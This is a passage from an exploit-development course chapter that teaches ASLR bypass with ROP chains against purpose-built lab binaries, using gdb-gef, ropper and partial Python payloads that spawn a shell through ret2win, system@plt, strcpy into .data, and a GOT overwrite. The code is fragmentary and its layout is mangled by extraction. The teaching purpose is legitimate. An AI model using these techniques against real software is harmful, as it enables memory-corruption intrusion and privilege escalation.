0003 Book IntroExploitDev ROP ASLRBypass Cobra
0003 Book IntroExploitDev ROP ASLRBypass Cobra
We have four methods that we will exploit to bypass ASLR and obtain a root shell on the
system, all of which utilize a ROP-chain.
Due to gdb-PEDA not being updated since December 20th, 2020, and subsequently causing
unexplained bugs with our course, we are now switching to gdb-gef (pronounced “Jeff”)
extensions, which for you as a student, would be useful in introducing you to a multitude of
debugging extensions. Unlike PEDA, GEF is still well maintained and heavily used by CTF
players to this day.
The required tools are already pre installed in your Docker Container with the vulnerable
binaries.
But first, we must confirm that ASLR is ENABLED. Run the linker program against the binary to
ensure that the base address of the C Standard Library is randomized.
ASLR Bypass Part #1: Unused Shell Function
We are going to start with our first exploitable binary, which contains an unused shell function,
the simplest way to bypass ASLR and get root.
Unlike our later exploit methods which takes advantage of the ret2plt technique and
manipulation of Global Offset Table Entries, we can take advantage of this hardcoded shell
function to open a root shell.
Split your panes and run ropper, ropper, and then set the file to our first vulnerable binary, file
vuln.
All we need in this exercise is an address with a return instruction, run search /1/ ret and note
the address, as well as the address of our unused shell function.
unused_shell_func = 0x0000000000401166
ret = 0x0000000000401016
buf= b'A' * 208 buf +=
b'\x42' * 8 buf += p64(ret)
buf += p64(unused_shell_func)
sys.stdout.buffer.write(buf)
Save it as exploit1.py in the docker container and run the exploit (python3 exploit1.py ; cat;) |
./vuln and press [Enter] twice and grab your flag. The flag for ASLR bypasses will be
changed from this picture!
#include <stdio.h>
void show_date() {
system("/bin/date");
}
First, locate and disassemble the show_date function and notice the system call with the
Procedure Linkage Table Instruction, <system@plt>. Disas show_date, notice that there is a
call to 0x401030.
If you run disas 0x401030 you will notice it points to the Global Offset Table entry of system(),
<[email protected]>. Take note of these in your Python script.
Now let’s look for the hardcoded reference to ‘sh’ in memory. First, the app must be run, so hit r
and then Ctrl-C out of it. Then in gdb-gef run the command search-pattern ‘sh’. Take note of
the highlighted memory address as we will use it in our exploit.
Run ropper again and set the file to file 2vuln. You require two gadgets for this to work, a RET
instruction and a POP RDI; RET instruction. Take note of these memory addresses for our final
exploit.
Your finalized exploit code should look like this.
function(RDI, RSI, RDX, RCX, R8, R9) # Any additional arguments is to be saved as a offset
from the Return Stack Pointer (RSP)
We only need to populate the RDI register with a memory address that points to the ascii
character ‘s’ and the RSI register with a memory address that points to the ascii character ‘h’ to
spell out ‘sh’ or “/bin/sh”. We are then going to call it as strcpy(‘s’,’h’) or strcpy(RDI,RSI) into
the writable .data segment and then calling system(rdi) to invoke our root level shell. But first,
we need a section of memory in the compiled app that we can write to.
First, open 3vuln in gdb again, gdb 3vuln -q and then run and exit the program, r and then Ctrl-
C. Then run vmmap to get the loaded address range of our specific binary.
Notice that the range starts from 0x00000000400000 and ends at 0x00000000405000. We can
use gdb to set these variables for easier access for our search, set $start=0x00000000400000
set $end=0x00000000405000
Now we need to search through the binary for the characters ‘s’ and ‘h’ in non-randomized
memory space. search-pattern 's' $start-$end 3vuln
Do the same for the ‘h’ character. search-pattern 'h' $start-$end 3vuln
In this example, we found the single character ‘s’ in non-randomized memory address
0x4004a3 and ‘h’ in 0x401036. Take note of these in our exploit.
Finally we will need to search for our syscall function. It is located in our show_date function.
First disas show_date to look for the call to <system@plt> and then disas 0x401040 to find
the global offset table entry which is <[email protected]>, coincidentally again, it is 0x401040 but
just for further reference, this address may be different depending on what version your
vulnerable app is compiled in and what C-Standard Library it is using.
We need to find a section of writable data for our exploit, in another terminal window run the
command readelf -S ./3vuln and search for writable sections in the .data segment
There is a lot to go through but notice this address range which we can modify.
Take note of this writable address range, 0x0000000000404030 for our exploit.
Now we need to go back and look for our strcpy function so we can call it to write our malicious
command into that .data segment.
Run disas unused, a function that runs the strcpy() function, and then disas 0x401030 or
<strcpy@plt> to get the memory address of the global offset table at <[email protected]>,
coincidentally this is the same, but you should take note that depending on the compiler version
it may be a different memory address.
We will run into a issue with ropper, where we cannot find a POP RSI;RET; instruction on it’s
own, but rather a alternative gadget of POP RSI; POP R15; RET; which is still usable to
populate our second argument for system(RDI,RSI).
The three memory addresses we have are…
0x0000000000401016 = RET
0x00000000004012ab = POP RDI; RET;
0x00000000004012a9 = POP RSI; POP R15; RET;
Because our only gadget to pop a value off the stack into the RSI register (that would be our ‘h’)
requires a operation of the R15 register, we will fill it with a dummy value to satisfy it by filling it
with eight C’s before executing our RET instruction. When we execute our ROP chain, only RDI
and RSI will be evaluated for code execution. Our finalized exploit code should look like this.
#-------------------------copy 's' to
.data buf += p64(ret) buf +=
p64(pop_rdi_ret) buf += p64(write_to) buf
+= p64(pop_rsi_pop_r15_ret) buf +=
p64(s_address) buf += dummy buf +=
p64(strcpy)
#-------------------------copy 'h' to
.data buf += p64(pop_rdi_ret) buf +=
p64(write_to+0x1) buf +=
p64(pop_rsi_pop_r15_ret) buf +=
p64(h_address) buf += dummy buf +=
p64(strcpy)
Notice that on the line for copying ‘h’ to .data, the ROP-chain is packed with write_to+0x1,
because we want to not overwrite the ‘s’, and instead increment or “seek” to the next byte to fit
our ‘h’.
Once again, run our exploit outside of the debugging session and get the flag.
Run gdb 4vuln -q, and run the program and exit it, press r and then Ctrl+C. Then type xinfo
system (alternatively you can use p system and get the same value) and note that it is
0x7fc83f20c290. For some reason, you cannot set variables and then p/x ($printf-$system)
RET;
POP RDI; RET;
POP RBP; RET;
SUB RDI; RBP;
0x0000000000401016: ret;
0x000000000040124b: pop rdi; ret;
0x000000000040113d: pop rbp; ret;
0x0000000000401156: sub qword ptr [rdi], rbp; ret;
Note due to some sort of terminal buffer issue, you may need to reopen a new terminal for the
gdb session to display the correct memory address for the shell.
Run the app once, and then ctrl+c out of it. Then take note of the memory address range with
the vmmap command and finally search for the sh string in the local binary with the command
search-pattern 'sh' 0x00000000400000 0x00000000405000 4vuln
Now disassemble the printf function and take note of the memory address 0x401030
<printf@plt>, and then disassemble that memory address disas 0x401030 and take note of the
Global Offset Table Address of printf 0x404000 <[email protected]>
We are overwriting the Global Offset Table address of 0x404000 to point to system instead.
Your final source code for the exploit should look like this
Run the exploit (python3 out.py ; cat;) | ./4vuln and then grab the flag.
You can set a breakpoint with the command b *system and observe the arguments as you
press c and the exploit hits that breakpoint. Notice that what was supposed to be a printf()
function has now been substituted with a syscall(‘sh’)
As you step into or over the breakpoints, you can dump any printable strings by using the x/s
command on a register, or in this case, a specific memory address such as x/5s 0x402004,
which is the location of our ‘sh’ variable.